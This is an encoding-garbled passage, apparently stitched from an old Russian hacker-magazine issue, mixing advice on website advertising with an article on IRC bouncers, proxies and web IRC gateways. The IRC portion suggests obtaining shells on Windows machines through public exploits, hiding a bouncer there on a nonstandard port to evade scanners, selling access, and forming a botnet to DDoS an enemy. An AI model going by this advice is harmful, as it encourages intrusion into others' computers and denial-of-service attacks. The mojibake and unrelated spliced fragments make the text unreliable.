Nicsta.ru è äðóãèå). Òû ðåãèñòðèðóåøüñÿ, âáèâàåøü â ñîîòâåò-
ñòâóþùèå ïîëÿ êëþ÷åâûå ñëîâà, ïî êîòîðûì òâîþ ðåêëàìó
äîëæíû íàõîäèòü þçåðû, è ïëàòèøü «ìèíèìàëêó» ($5). Äàëåå
ýòè ñèñòåìû ðàçìåñòÿò òâîå îáúÿâëåíèå íà êðóïíåéøèõ ïëîùàä-
êàõ ðóíåòà. Îïëàòà ïîêëèêîâàÿ � êàê ïðàâèëî, îò 5 öåíòîâ çà
êëèê. Íî ó÷òè, ÷òî â ýòèõ ñèñòåìàõ äåéñòâóåò ïðèíöèï àóêöèîíà.
Òî åñòü òîò ó÷àñòíèê, êîòîðûé âûñòàâèò áîëüøóþ öåíó çà êëèê,
áóäåò ëèäèðîâàòü â ñïèñêå. Òàê êàê áîëüøèíñòâî ïëîùàäîê òà-
êèõ ñèñòåì ïîêàçûâàåò íå áîëüøå äâóõ-òðåõ îáúÿâëåíèé, ÷òîáû
òâîÿ ðåêëàìà çàñâåòèëàñü íà Mail.ru è äðóãèõ ìîíñòðàõ, íåîáõî-
äèìî âûñòàâèòü áîëüøóþ öåíó çà ïåðåõîä. Äëÿ ñèñòåìû Begun.ru
ýòî ïðèìåðíî 40 öåíòîâ. Íî ñàìàÿ èçâåñòíàÿ ñèñòåìà êîíòåê-
ñòíîé ðåêëàìû ïðèíàäëåæèò ßíäåêñó. Ñèñòåìà ßíäåêñ.Äèðåêò
ïðåäëàãàåò ðàçìåùàòü îáúÿâëåíèÿ â ðåçóëüòàòàõ ïîèñêà (çàäàé
ëþáîé çàïðîñ è îáðàòè âíèìàíèå íà ðåêëàìó, ïîÿâëÿþùóþñÿ â
ïðàâîé ÷àñòè ñòðàíèöû). ß ëè÷íî ïðîòèâ ýòîé ñèñòåìû íè÷åãî íå
èìåþ, íî ëþäè, êîòîðûì äîâåëîñü ïîðàáîòàòü ñ äåòèùåì ßíäåê-
ñà, îñòàëèñü î÷åíü íåäîâîëüíû ðåçóëüòàòàìè ðàáîòû.

[ðåêëàìíûå àãåíòñòâà] Åñëè ó òåáÿ íåò âðåìåíè çàíèìàòüñÿ ïðîäâè-
æåíèåì ñàéòà ñàìîñòîÿòåëüíî, òî òû ìîæåøü íàíÿòü ïðîôåññèîíàëîâ.
Õîðîøî, ÷òî ðåêëàìíûõ àãåíòñòâ â èíåòå ïðóä ïðóäè. Íî áóäü ãîòîâ ê òî-
ìó, ÷òî äàæå çà ñàìûå ýëåìåíòàðíûå äåéñòâèÿ ñ òåáÿ ñäåðóò êðóãëåíüêóþ
ñóììó. Íàïðèìåð, çà ñàáìèíò òâîåãî ñàéòà â ïîèñêîâèêàõ ðóíåòà ìîãóò
ïîïðîñèòü $300�400. Åñòü è äðóãîé ïóòü � íàíÿòü ÷àñòíûõ ïðîìîóòåðîâ.
Ýòî äåøåâî è îäíîâðåìåííî î÷åíü ýôôåêòèâíî (èíîãäà îíè ñïðàâëÿþòñÿ
ñî ñâîåé çàäà÷åé íàìíîãî ëó÷øå çàçíîá èç àãåíòñòâ). Îäíàêî è çäåñü âîç-
ìîæåí ëîõîòðîí. Íåêîòîðûå ëè÷íîñòè, âûäàþùèå ñåáÿ çà ïðîôè, ïðîñòî
íàêðóòÿò ñ÷åò÷èêè, à òåáå âûäàäóò äëèííûé îò÷åò î ëæåðàáîòå, ãäå ÿêîáû
ïîâûñèëèñü ðåçóëüòàòû â ïîèñêîâèêàõ, ïîäíÿëñÿ ÈÖ è äðóãèå ïîêàçàòåëè.
Îáìàí ðàñêðîåòñÿ óæå ïîñëå òîãî, êàê òû çàïëàòèøü äåíüãè.

[çàêëþ÷åíèå] Ìíîãèå âåá-ìàñòåðà äîïóñêàþò îäíó è òó æå îøèáêó �
çàêà÷àâ ñàéò â Ñåòü, êðàéíå íåîõîòíî áåðóòñÿ çà åãî ïîääåðæêó è ïðîä-
âèæåíèå. Ïîìíè: ïåðâûå ìåñòà çàíèìàþò òîëüêî ñàìûå óïîðíûå. Òàêàÿ
ôèëîñîôèÿ ñïðàâåäëèâà äàæå äëÿ Èíòåðíåòà.
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÷òî êàñàåòñÿ êà÷åñòâà ðàáîòû, òî îíî îñòàâëÿåò æåëàòü ëó÷øåãî. Íàïðè-
ìåð, èç-çà ãëþêà ïðîãðàììà ìîæåò íå çàíåñòè èíôîðìàöèþ î òâîåì ñàé-
òå â Ðàìáëåð èëè ßíäåêñ. Ñêîëüêî ïîòåíöèàëüíûõ êëèåíòîâ íå íàéäåò
òâîé ñàéò � äóìàé ñàì. ×òî êàñàåòñÿ ïðîãðàìì àíàëèçàòîðîâ êëþ÷åâûõ
ñëîâ, òî ëè÷íî ÿ âñå äåëàþ ðó÷êàìè è ñâîåé ãîëîâîé, íî ïîíà÷àëó, ââèäó
îòñóòñòâèÿ íåîáõîäèìûõ íàâûêîâ, çàþçàòü òàêîé ñîôò ïðîñòî íåîáõîäè-
ìî. ×òî æå êàñàåòñÿ ïðîãðàìì äëÿ ðàññûëîê, òî ïðèìåíÿòü èõ èëè íå ïðè-
ìåíÿòü � âîïðîñ ñêîðåå ýòè÷åñêèé. Áóäü òî ïî÷òîâàÿ ðàññûëêà èëè ðàñ-
ñûëêà íà ôîðóìû � âñå ðàâíî ïîëüçîâàòåëè íàçîâóò ýòî ñïàìîì. Êîíòî-
ðû, ðåêëàìèðóþùèå ñåáÿ ýòèì íàãëûì âèäîì, âûçûâàþò ó ëþäåé îòðè-
öàòåëüíûå ýìîöèè.

[íàðóæíàÿ ðåêëàìà] Âñïîìíè õîòÿ áû îäèí ïîïóëÿðíûé ïðîåêò, êîòî-
ðûé îáõîäèëñÿ áû áåç áàííåðîâ, âñïëûâàþùèõ îêîí èëè ìèíè-êíîïîê.
Áîëüøèíñòâî àäìèíîâ ïîïóëÿðíûõ ñàéòîâ âûñòàâëÿþò íà ïðîäàæó ñâîè
ðåêëàìíûå ïëîùàäè. Ïîýòîìó ïåðâûì äåëîì íåîáõîäèìî ïðîéòèñü ïî
ïîïóëÿðíûì ñàéòàì ñî ñõîæåé òåìàòèêîé è ñîáðàòü àäðåñà àäìèíîâ. Äà-
ëåå, ïîñðåäñòâîì ïåðåïèñêè, âûáðàòü íàèáîëåå îïòèìàëüíûé äëÿ ñåáÿ
âàðèàíò. Ïðè÷åì ìîé òåáå ñîâåò: ïîêóïàé ëó÷øå íå êëèêè èëè
ïîêàçû, à ñðîêè ðàçìåùåíèÿ, íàïðèìåð, íåäåëþ èëè ìåñÿö. Ìíî-
ãèå, äàæå êðóòûå ìàñòåðà, ëþáÿò íàêðó÷èâàòü áàííåðû, è òåáÿ
ìîãóò ïðîñòî êèíóòü. Îòíîñèòåëüíî íåáîëüøîé ýôôåêòèâíîñòüþ
îáëàäàþò áàííåðíûå ñèñòåìû. Òû ìîæåøü êàê çàðàáîòàòü
ñîáñòâåííûå ïîêàçû, ó÷àñòâóÿ â ñèñòåìå è ðàçìåñòèâ êîä íà
ñîáñòâåííîì ñàéòå, òàê è êóïèòü ïîêàçû äðóãèõ ó÷àñòíèêîâ. Êó-
ïèòü èõ ìîæíî è ó ñèñòåìû, íî â ïîñëåäíåì ñëó÷àå öåíà âîçðàñ-
òåò â äâà ðàçà. Íà áàííåðíûõ áèðæàõ ñòî òûñÿ÷ ïîêàçîâ ñåòè RLE
Classik ñòîÿò âñåãî òðè áàêñà. Ìîùíîñòü îòêðóòêè îêîëî 20
òûñ/÷àñ. Åñëè òâîé ðåêëàìíûé áþäæåò (äåíüãè, âûäåëåííûå íà
ðåêëàìó) ïðåâûøàåò 500 ó.å., òî åñòü ñìûñë çàäóìàòüñÿ î ñîòðóä-
íè÷åñòâå ñ òàêèìè ìîíñòðàìè, êàê Ðàìáëåð, Mail.ru è äðóãèìè ïî-
èñêîâèêàìè. Òûñÿ÷à ïîêàçîâ â ðåçóëüòàòàõ ïîèñêà ó íèõ ñòîèò 40
àìåðèêàíñêèõ ïðåçèäåíòîâ. Îòêëèê ó òàêîé ðåêëàìû âûøå, ÷åì,
íàïðèìåð, â áàííåðíûõ ñèñòåìàõ � 12%.
Ïîìèìî îáìåíà áàííåðàìè, ÿ ðåêîìåíäóþ îáðàòèòü âíèìàíèå íà îáìåí
òåêñòîâîé ðåêëàìîé. Òàêèå ñèñòåìû íå ìåíåå ýôôåêòèâíû, à öåíû íà
ïîðÿäîê íèæå. Íàïðèìåð, 5000 ïîêàçîâ ñòîèò âñåãî îäèí äîëëàð. ñàìàÿ ïîïóëÿðíàÿ ÑÀÐ

ñïèñîê ïîòåíöèàëüíûõ êëþ÷åâûõ ñëîâ â êàòåãîðèè «ó íàñ òàêæå èùóò...»

áàííåðíàÿ ñåòü RLE.ru - áîëåå 38 ìèëëèîíîâ ïîêàçîâ â äåíü!
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Ïðàâäà, âûÿñíèëîñü, ÷òî ïîäõîäÿùèõ ðåàëèçàöèé ïîä âèíäó íå òàê ìíî-
ãî. Ñðåäè íàéäåííîãî ìîãó âûäåëèòü òîëüêî ircproxy (www.ircproxy.night-
light.net), ProBNC (www.probnc.com), WinBNC (www.ircadmin.net/bnc). Äâå
ïîñëåäíèå èìåþò ãðàôè÷åñêèé èíòåðôåéñ, íî â íàøåì ñëó÷àå ýòî íå
î÷åíü õîðîøî. Òàêèå ïðèëîæåíèÿ íåçàìåòíî óñòàíîâèòü â ñèñòåìå äî-
âîëüíî ñëîæíî, ïîýòîìó êîíñîëüíàÿ ïðîãà ircproxy èìååò ïðåèìóùåñòâî.
Äà è âîçìîæíîñòåé ó íåå, íàäî îòìåòèòü, áóäåò ïîáîëüøå.
Íàñòðîéêà ïðîãðàììû îñóùåñòâëÿåòñÿ ÷åðåç òåêñòîâûå êîíôèãè, èìåþ-
ùèå ðàñøèðåíèÿ *.conf è ðàñïîëîæåííûå â ïàïêå DATA. Ïðåäëàãàþ
êðàòêî ðàññìîòðåòü êàæäûé èç êîíôèãîâ è ïîïóòíî âíîñèòü íåîáõîäè-
ìûå èçìåíåíèÿ.
RREESSOOLLVV..CCOONNFF. Â ýòîì ôàéëå óêàçûâàåòñÿ DNS-ñåðâåð, ÷òîáû ïðîãà
ìîãëà ïðàâèëüíî ðàñïîçíàòü IP-àäðåñ ñåðâåðà ïî åãî ñèìâîëüíîìó èìå-
íè (irc.dal.net è ò.ï.). Ñàìî ñîáîé, DNS-ñåðâåð ìîæíî ïðîïèñàòü àáñîëþò-
íî ïðîèçâîëüíûé, íî åñëè õî÷åøü èñïîëüçîâàòü ïðîâàéäåðñêèé, òî íà-
áåðè â êîìàíäíîé ñòðîêå nslookup, ÷òîáû âûÿñíèòü åãî.
AACCCCEESSSS..CCOONNFF. Ñ ïîìîùüþ ýòîãî ôàéëà òû ìîæåøü îãðàíè÷èòü äîñòóï
ê áàóíñåðó ñ îïðåäåëåííûõ IP-àäðåñîâ. Ôîðìàò ôàéëà ñèëüíî íàïîìè-
íàåò àïà÷åâñêèé .htaccess. 
DEFAULT DENY
ORDER DENY,ALLOW
ALLOW localhost
DENY *.microsoft.com
DENY *.billgates.com
Ëîãèêà ïðîñòàÿ: ñ ïîìîùüþ ïàðàìåòðà ALLOW îáîçíà÷àþòñÿ òå IP, ñ êî-
òîðûõ äîñòóï ðàçðåøåí, ñ ïîìîùüþ DENY � òå, êîòîðûì â ïîäêëþ÷å-
íèè áóäåò îòêàçàíî.
IIDDEENNTT..CCOONNFF. Â ýòîì ôàéëå ìîæíî îáîçíà÷èòü ïîðòû, íà êîòîðûõ âñòðî-
åííûé ident-äåìîí áóäåò ïîëó÷àòü çàïðîñû îò ñåðâåðà. Ôîðìàò ôàéëà
LLIISSTTEENN <Host>:<Port>, îäíàêî â áîëüøèíñòâå ñëó÷àåâ åãî ñîäåðæèìîå
ìîæíî îñòàâèòü ïî óìîë÷àíèþ.
LLIISSTTEENN..CCOONNFF. Ñ ïîìîùüþ ýòîãî êîíôèãà îáîçíà÷àþòñÿ ñåòåâûå èíòåð-
ôåéñû è ïîðòû, íà êîòîðûõ áóäåò ðàáîòàòü BNC-äåìîí. Ïî óìîë÷àíèþ
BNC ïðèíèìàåò ïîäêëþ÷åíèå íà âñåõ ñåòåâûõ èíòåðôåéñàõ (äëÿ ýòîãî
óêàçûâàåòñÿ IP-àäðåñ 0.0.0.0) íà ïîðòàõ 6666, 6667, 6668, 6669. Ðåêî-
ìåíäóþ èñïîëüçîâàòü êàêîé-íèáóäü íåñòàíäàðòíûé ïîðò, ÷òîáû BNC
ñëîæíåå áûëî çàñå÷ü ñêàíåðîì.
UUSSEERR..CCOONNFF. Ïî íàçâàíèþ ëåãêî äîãàäàòüñÿ, ÷òî â ýòîì ôàéëå ïðîïèñû-
âàþòñÿ àêêàóíòû ïîëüçîâàòåëåé. Ôîðìàò ïðîñò: USER:username:pass-
word. Ïàðîëü ìîæåò áûòü ïðîïèñàí êàê plain-text�îì, òî åñòü â îòêðûòîì
âèäå, òàê è ïðåäñòàâëåí â âèäå õýøà. Äëÿ ñîçäàíèÿ õýøà èñïîëüçóåòñÿ
óòèëèòà MKPASSWD.EXE, êîòîðàÿ èäåò â êîìïëåêòå ñ ïðîãðàììîé.
CONN.CONF. Ñàìûé ãëàâíûé êîíôèãóðàöèîííûé ôàéë, â êîòîðîì óêà-
çûâàåòñÿ èíôîðìàöèÿ î ïîäêëþ÷åíèÿõ ê íàñòîÿùèì ñåðâåðàì. Íà÷àòü
ñòîèò ñ òîãî, ÷òî êàæäîå ïîäêëþ÷åíèå èìååò èìÿ � îíî óêàçûâàåòñÿ
ñðàçó ïîñëå êëþ÷åâîãî ñëîâà CONNECTION. Ýòî èìÿ íóæíî çàïîìíèòü,
òàê êàê îíî ïîòðåáóåòñÿ ïðè ïîäêëþ÷åíèè ê íàñòîÿùåìó ñåðâèñó. Äàëåå
ñ ïîìîùüþ ñïåöèàëüíîé ñòðóêòóðû (ïðèìåð äàí â ñàìîì êîíôèãå) îïè-
ñûâàþòñÿ ìíîãî÷èñëåííûå ïàðàìåòðû ïîäêëþ÷åíèÿ.
Ïîñëå ðåäàêòèðîâàíèÿ êîíôèãîâ ìîæíî ïðèñòóïàòü ê çàïóñêó BNC, à çà-
îäíî è ëþáèìîãî IRC-êëèåíòà, ÷òîáû ñðàçó ïðîâåðèòü ïðàâèëüíîñòü
ïîäêëþ÷åíèÿ. Ïîñëå ñîåäèíåíèÿ ñ BNC ñåðâåð ïîòðåáóåò ââåñòè ïà-
ðîëü, êîòîðûé òû óêàçûâàë â íàñòðîéêàõ, à òàêæå âûáðàòü îäíî èç ïðî-

[socks vs. bnc] Êàê äîáëåñòíûé ÷èòàòåëü Õ, òû íàâåð-
íÿêà çàäóìûâàåøüñÿ î áåçîïàñíîñòè ñâîåé ðàáîòû â
èíåòå è îá àíîíèìíîñòè, êîòîðàÿ èíîãäà áûâàåò î÷åíü
êñòàòè. Îáùåíèå â IRC íàïðÿìóþ ñ ñåðâåðîì îïàñíî òåì,
÷òî ëþáîé æåëàþùèé ëåãêî ìîæåò óçíàòü òâîé IP, à ýòî,
êàê èçâåñòíî, ÷ðåâàòî ïîñëåäñòâèÿìè. Ïóñêàé ìàøèíó
òâîþ è íå âçëîìàþò, íî óñòðîèòü òåáå íåïëîõîé DDoS
âïîëíå ìîãóò. Çàáàâû ðàäè, íàïðèìåð. Ñàìîå áàíàëüíîå
ðåøåíèå ïðîáëåìû � ïîäêëþ÷èòüñÿ ê IRC-ñåðâåðó ÷åðåç
SOCKS, íî çäåñü åñòü íåñêîëüêî íåäîñòàòêîâ. Âî-ïåð-
âûõ, SOCKS4 êðàéíå îãðàíè÷åí â âîçìîæíîñòÿõ, ïîýòî-
ìó êîìôîðòíàÿ ðàáîòà ñ åãî ïîìîùüþ âåñüìà ñîìíè-
òåëüíà. Ïðèäåòñÿ èñêàòü èìåííî SOCKS5, à ýòî óæå íåñ-
êîëüêî ñëîæíåå. Âî-âòîðûõ, áîëüøèíñòâî íîñêîâ (îñî-
áåííî èç îòêðûòûõ èñòî÷íèêîâ) íå îòëè÷àþòñÿ ïîñòîÿí-
ñòâîì. Ñåãîäíÿ ñîêñ ðàáîòàåò, çàâòðà � íåò, è ýòî íà ñà-
ìîì äåëå î÷åíü ñåðüåçíàÿ ïðîáëåìà. Ïðåäñòàâü, ÷òî ó
òåáÿ íà îïðåäåëåííîå âðåìÿ çàáèòà ñòðåëêà íà òàêîì-òî
ñåðâåðå è êàíàëå, à òû ïîïðîñòó íå ìîæåøü ïðèêîííåê-
òèòüñÿ ê íåìó, òàê êàê ñîêñ óïàë â ýòîò ñàìûé íåïîäõîäÿ-
ùèé ìîìåíò. È åùå îäèí ìîìåíò: àíîíèìíîñòü ÷åðåç
ñîêñ, òî åñòü îòñóòñòâèå íà íåì ëîãîâ, ëþäåé â ôîðìå è
ïðî÷èõ íåïðèÿòíûõ âåùåé, òàêæå ñîìíèòåëüíà. ×òîáû
áûòü óâåðåííûì íàâåðíÿêà, ïðèäåòñÿ èñïîëüçîâàòü ïëàò-
íûå ïðîêñè-ñåðâèñû (âðîäå www.proxy-socks.net), à îíè
çà ñâîè óñëóãè òðåáóþò äåíåæêó (30�80$). 
Âñåõ ýòèõ íåäîñòàòêîâ ëèøåí òàê íàçûâàåìûé áàóíñåð
(BNC) èëè ñïåöèàëèçèðîâàííàÿ IRC-ïðîêñÿ.

[bnc ïîä âèíäó] Ôèøêà òàêîé ïðîãè çàêëþ÷àåòñÿ â
òîì, ÷òî ïîëüçîâàòåëü íå ïîäêëþ÷àåòñÿ íàïðÿìóþ ê ñåòè,
à êîííåêòèòñÿ ê BNC, à îíà ïåðåíàïðàâëÿåò åãî íà íàñòî-
ÿùèé IRC-ñåðâåð. Ïîëó÷àåòñÿ, ÷òî ïîëüçîâàòåëü íå ïà-
ëèò ñâîé ñîáñòâåííûé IP: âìåñòî íåãî îòîáðàæàþòñÿ «êî-
îðäèíàòû» BNC-ñåðâèñà. Ê ñîæàëåíèþ, áîëüøèíñòâî áà-
óíñåðîâ ðàçðàáîòàíû äëÿ *nix-ñèñòåì, ñðåäè íèõ � ïîïó-
ëÿðíûå ezbounce è psyBNC. Ïðîáëåìà â òîì, ÷òî äëÿ èõ
óñòàíîâêè ïîòðåáóåòñÿ ÷åñòíî êóïëåííûé øåëë (ýòî íàê-
ëàäíî) ëèáî âçëîìàííûé *nix-ñåðâåð (à ýòî äîâîëüíî
ñëîæíî â èñïîëíåíèè). Â òî æå âðåìÿ áëàãîäàðÿ êó÷å
êðèòè÷åñêèõ óÿçâèìîñòåé è ïàáëèê-ýêñïëîéòîâ äîáûòü
øåëë íà âèíäîâîé òà÷êå ñåãîäíÿ ïàðà ïóñòÿêîâ. Òàê ïî-
÷åìó áû ýòèì íå âîñïîëüçîâàòüñÿ?

Î ÒÎÌ, ×ÒÎ ÒÀÊÎÅ IRC (INTERNET RELAY
CHAT), ÇÍÀÞÒ ÂÑÅ. ÌÍÎÃÈÅ ÄÀÆÅ ÈÑÏÎËÜ-
ÇÓÞÒ ÑÊÐÈÏÒÛ ÄËß ÏÎÏÓËßÐÍÎÃÎ MIRC�À
È ÂÎÑÒÎÐÆÅÍÍÎ ÒÐÅÏÅÙÓÒ ÎÒ ÔÓÍÊÖÈÉ,
ÊÎÒÎÐÛÅ ÏÎÇÂÎËßÞÒ ÀÂÒÎÌÀÒÈ×ÅÑÊÈ
ÈÄÅÍÒÈÔÈÖÈÐÎÂÀÒÜÑß ÍÀ ÑÅÐÂÅÐÅ 
È ÓÑÒÀÍÀÂËÈÂÀÒÜ ÑÒÀÒÓÑ AWAY. ÍÎ ÏÎ-
ÂÅÐÜ, ×ÒÎÁÛ ÈÑÏÎËÜÇÎÂÀÒÜ ÂÎÇÌÎÆ-
ÍÎÑÒÈ IRC ÍÀ ÏÎËÍÓÞ ÊÀÒÓØÊÓ, ÍÅÎÁÕÎ-
ÄÈÌÎ ÏÎÇÍÀÊÎÌÈÒÜÑß ÅÙÅ Ñ ÍÅÑÊÎËÜ-
ÊÈÌÈ ÏÎËÅÇÍÛÌÈ ÏÐÈÌÎ×ÊÀÌÈ, ÁÅÇ ÊÎ-
ÒÎÐÛÕ, ÂÎÇÌÎÆÍÎ, ÒÛ Â ÑÊÎÐÎÌ ÂÐÅÌÅ-
ÍÈ ÍÅ ÁÓÄÅØÜ ÏÐÅÄÑÒÀÂËßÒÜ ÆÈÇÍÈ 
| Ñòåïàí Èëüèí aka Step (step@gameland.ru)

Ñòàâèì 
«Èðî÷êó» ââ ïïîçó
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Íåñêîëüêî áîòîâ ìîæíî
îáúåäèíèòü â îäíó ñåòü.
Ïîëó÷èòñÿ áîòíåò, ñ ïî-
ìîùüþ êîòîðîãî ìîæíî
òâîðèòü ÷óäåñà. Íàïðèìåð,
DDoS�èòü íåäðóãà :).

Âñå óïîìÿíóòûå â ñòàòüå
ïðîãðàììû ìû ëþáåçíî
âûëîæèëè íà íàø CD/DVD.

eggdrop.org.ru � îòå÷åñòâåííûé ñàéò ïî eggdrop�àì.
http://wholok.com/irc � ïèøåì áîòà íà Perl�å.
www.schumann.cx/ircg/ircg4.php � äëÿ òåõ, êòî õî÷åò
íàïèñàòü IRC-ãåéò íà PHP.
bestirc.net.ru � áîëüøîé ðóññêîÿçû÷íûé ñàéò ïî IRC.

Âûæèìàåì èç IRC ìàêñèìóì

IRC-proxy ñëóøàåò 6666, 6667, 6668, 6669 ïîðòû
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ïèñàííûõ â êîíôèãå ñîåäèíåíèé. Ïîñëå óñïåøíîé àâòîðèçàöèè òû óâè-
äèøü êðàòêóþ ñïðàâêó î êîìàíäàõ, ñ êîòîðûìè, ÿ óâåðåí, òû ðàçáåðåøü-
ñÿ ñàì. Îñîáåííî îòìå÷ó ôóíêöèè ATTACH/DETACH, ïîçâîëÿþùèå BNC
ïîñòîÿííî ïðåáûâàòü íà IRC-êàíàëàõ âî âðåìÿ òâîåãî ôèçè÷åñêîãî îò-
ñóòñòâèÿ. Òåïåðü, âíîâü ïîäêëþ÷èâøèñü ê BNC, òû ñìîæåøü ïðîñìîò-
ðåòü âñå ñîîáùåíèÿ çà âðåìÿ òâîåãî îòñóòñòâèÿ. Î÷åíü ïðèÿòíàÿ øòóêà.

[IRC-øëþç] BNC-ñåðâåð óñòàíîâëåí íà íåñêîëüêèõ øåëëàõ è ðàáîòàåò
êàê ÷àñû. Òû äàæå óìóäðèëñÿ èçâëå÷ü èç ýòîé çàòåè âûãîäó, ïðîäàâ íåñ-
êîëüêî àêêàóíòîâ ïîêëîííèêàì èðêè, ñðåäè êîòîðûõ òàêîé òîâàð ñ÷èòà-
åòñÿ îñîáåííî õîäîâûì. Ïîðà íàñòðîèòü åùå îäíó èíòåðåñíóþ ïðèáëóäó
� IRC-ãåéò. Ñìûñë åãî èñïîëüçîâàíèÿ ïðîñò: åñëè ïîä ðóêîé íåò IRC-
êëèåíòà, òî âñåãäà ìîæíî çàéòè íà îïðåäåëåííûé ñàéò è îáùàòüñÿ íà
íóæíîì êàíàëå, èñïîëüçóÿ îäèí ëèøü áðàóçåð. Íàäî ñêàçàòü, ÷òî øëþç
â IRC ÷åðåç âåá-èíòåðôåéñ ÿâëÿåòñÿ íàñòîÿùåé íàõîäêîé äëÿ âñåõ òåõ,
êòî èìååò ñâîé ñîáñòâåííûé êàíàë èëè äàæå IRC-ñåðâåð. Íåêîòîðûå ìà-
ãàçèíû è ðàçëè÷íûå îíëàéí-ñåðâèñû, ê ïðèìåðó, îñóùåñòâëÿþò ïîääå-
ðæêó êëèåíòîâ ÷åðåç IRC, èñïîëüçóÿ âñå åãî ïðåëåñòè è óäîáñòâà. Çàãâî-
çäêà â òîì, ÷òî êëèåíò äàëåêî íå âñåãäà çíàêîì ñ ýòîé òåõíîëîãèåé, è
åìó êóäà ïðîùå çàéòè íà îïðåäåëåííûé ñàéò, íåæåëè ðàçáèðàòüñÿ ñ óñ-
òàíîâêîé è íàñòðîéêîé íåïîíÿòíîé ïðîãðàììû. Ïðåäîñòàâèì åìó òàêóþ
âîçìîæíîñòü.
Èçíà÷àëüíî ÿ ïîäóìàë, ÷òî ñêðèïò, íàïèñàííûé íà Perl èëè PHP, áóäåò
èäåàëüíûì âàðèàíòîì. Ñêà÷àë ïðîäâèíóòûé CGI:IRC (http://cgiirc.source-
forge.net/) è ïðèñòóïèë ê åãî óñòàíîâêå. Ñðàçó æå îãîð÷èëî òî, ÷òî ñêðèïò

ðàáîòàåò èñêëþ÷èòåëüíî íà
*nix-ñèñòåìàõ, òî åñòü î ïî-
òåíöèàëüíîé óñòàíîâêå ïîä
âèíäîé ïðèøëîñü ñðàçó æå
çàáûòü. Âïðî÷åì, áîëüøèí-
ñòâî õîñòèíãîâ âñå ðàâíî
ðàáîòàþò ïîä óïðàâëåíèåì
ðàçëè÷íûõ âàðèàöèé Linux�à
è BSD, òàê ÷òî ïîòåðÿ íåâå-
ëèêà. Çíà÷èòåëüíî õóæå òî,
÷òî äëÿ êàæäîãî ïîäêëþ÷èâ-
øåãîñÿ ïîëüçîâàòåëÿ
ñêðèïò ïîäíèìàåò îòäåëü-
íûé ñèñòåìíûé ïðîöåññ. Òû
ïðåäñòàâëÿåøü, ÷òî áóäåò ñ
ñèñòåìîé, åñëè ýòèì ñêðèï-
òîì îäíîâðåìåííî âîñïîëü-

çóþòñÿ, ñêàæåì, ÷åëîâåê 100? Àäìèí, âåðîÿòíî, çàõî÷åò òåáÿ óáèòü è íå-
ìåäëåííî çàáëîêèðóåò äîñòóï ê òâîåìó ðåñóðñó, êàê òîëüêî çàìåòèò óðî-
âåíü íàãðóçêè ñêðèïòà íà ñåðâåð. Áóäü óâåðåí, ÷òî îí çàìåòèò ýòî î÷åíü
áûñòðî. À ìîðàëü òàêîâà: óñòàíàâëèâàòü òàêîé ñêðèïò ìîæíî òîëüêî ñ
ïîëíîé óâåðåííîñòüþ, ÷òî îí íå áóäåò îäíîâðåìåííî èñïîëüçîâàòüñÿ
ìíîæåñòâîì êëèåíòîâ. Ñàìà óñòàíîâêà îñóùåñòâëÿåòñÿ â 4 íåñëîæíûõ
ýòàïà:

1 Çàêà÷êà èñõîäíèêîâ ñ îôèöèàëüíîãî ñàéòà, æåëàòåëüíî â àðõèâå tar.gz.

2 Ñîçäàíèå íà ñåðâåðå â äèðåêòîðèè cgi-bin íîâîé ïàïêè 
ñ ïîñëåäóþùèì êîïèðîâàíèåì òóäà ñîäåðæèìîãî àðõèâà.

3 Âûñòàâëåíèå äëÿ ñêðèïòîâ nph-irc.cgi, irc.cgi, client-perl.cgi 
ïðàâà äîñòóïà 755 (-rwxr-xr-x).

4 Ïðàâêà ïàðàìåòðîâ ðàáîòû ñêðèïòà, êîòîðûå íàõîäÿòñÿ 
â òåêñòîâîì êîíôèãå cgiirc.config.

Âñå îïöèè è ïàðàìåòðû èç êîíôèãà ïðåäåëüíî ïîíÿòíû, ïîýòîìó ïîä-
ðîáíî íå èìååò ñìûñëà èõ îïèñûâàòü. Åäèíñòâåííîå çàìå÷ó, ÷òî áîëåå
òîíêóþ íàñòðîéêó ñêðèïòà ìîæíî ïðîâåñòè, ïåðåèìåíîâàâ ôàéë
cgiirc.config.full â cgiirc.config. ×àñòü íîâûõ îïöèé ïîçâîëèò ðàçãðàíè÷èòü
äîñòóï, âûáðàòü èñïîëüçóåìóþ êîäèðîâêó ïî óìîë÷àíèþ è ò.ï.
Ïîñëå íåñëîæíîé óñòàíîâêè ñêðèïòà òû íàâåðíÿêà ïî äîñòîèíñòâó îöå-
íèøü åãî âîçìîæíîñòè. Íàäî îòäàòü ÷åñòü ðàçðàáîò÷èêàì, âåäü ñ ïî-
ìîùüþ HTML, JavaScript è Perl èì óäàëîñü ñîáðàòü ïîëíîöåííûé IRC-êëè-
åíò, êîòîðûé ìàëî ÷åì îòëè÷àåòñÿ îò îáû÷íîãî ïðîãðàììíîãî ðåøåíèÿ.
Òå æå âîçìîæíîñòè è ôóíêöèè, òîò æå âíåøíèé âèä è óäîáñòâî â èñïîëü-
çîâàíèè. Ïðàâäà, íåñêîëüêî ðàçäðàæàþò çàäåðæêè â îòïðàâêå ñîîáùåíèé
íà ñåðâåð, íî, âèäèìî, ïðè òàêîì ðàñêëàäå èçáåæàòü èõ íå ïîëó÷èòñÿ.
Ïðÿìàÿ àëüòåðíàòèâà CGI:IRC � ñïåöèàëüíûé Java-àïïëåò, êîòîðûé
èìååò àíàëîãè÷íûå âîçìîæíîñòè. Òàêîé êàê jwirc (www.jwirc.com). Ôèø-
êà â òîì, ÷òî àïïëåò ìîæíî óñòàíîâèòü íà ëþáîì õîñòèíãå. Íåâàæíî, áó-
äåò ëè ýòî äîðîãîñòîÿùèé ñåðâèñ ñ øèðî÷àéøèìè âîçìîæíîñòÿìè èëè
æå áåñïëàòíûé âàðèàíò ñî ñêóäíûì íàáîðîì ôóíêöèé è æåñòêèìè êâî-
òàìè. Jwirc íå òðåáóåò ïîääåðæêè Perl, PHP èëè êàêîãî-ëèáî äðóãîãî
ÿçûêà, à âåñü ïðîöåññ óñòàíîâêè çàêëþ÷àåòñÿ â òîì, ÷òîáû çàëèòü íà
ñåðâåð íåîáõîäèìûå ôàéëû. Åäèíñòâåííîå óñëîâèå � íàëè÷èå íà õîñ-
òèíãå 280 Êá äèñêîâîãî ïðîñòðàíñòâà.
Íèêàêîé íàñòðîéêè, ïî áîëüøîìó ñ÷åòó, íå òðåáóåòñÿ. Äîñòàòî÷íî çàïóñòèòü
HTML�êó, â êîòîðîé ïðîïèñàíû ïàðàìåòðû çàïóñêà àïïëåòà. Âîò òåïåðü ìîæ-
íî ïðèñòóïàòü ê äåéñòâèþ. Ïîëüçîâàòåëü ñàì ÷åðåç ãðàôè÷åñêèé èíòåðôåéñ
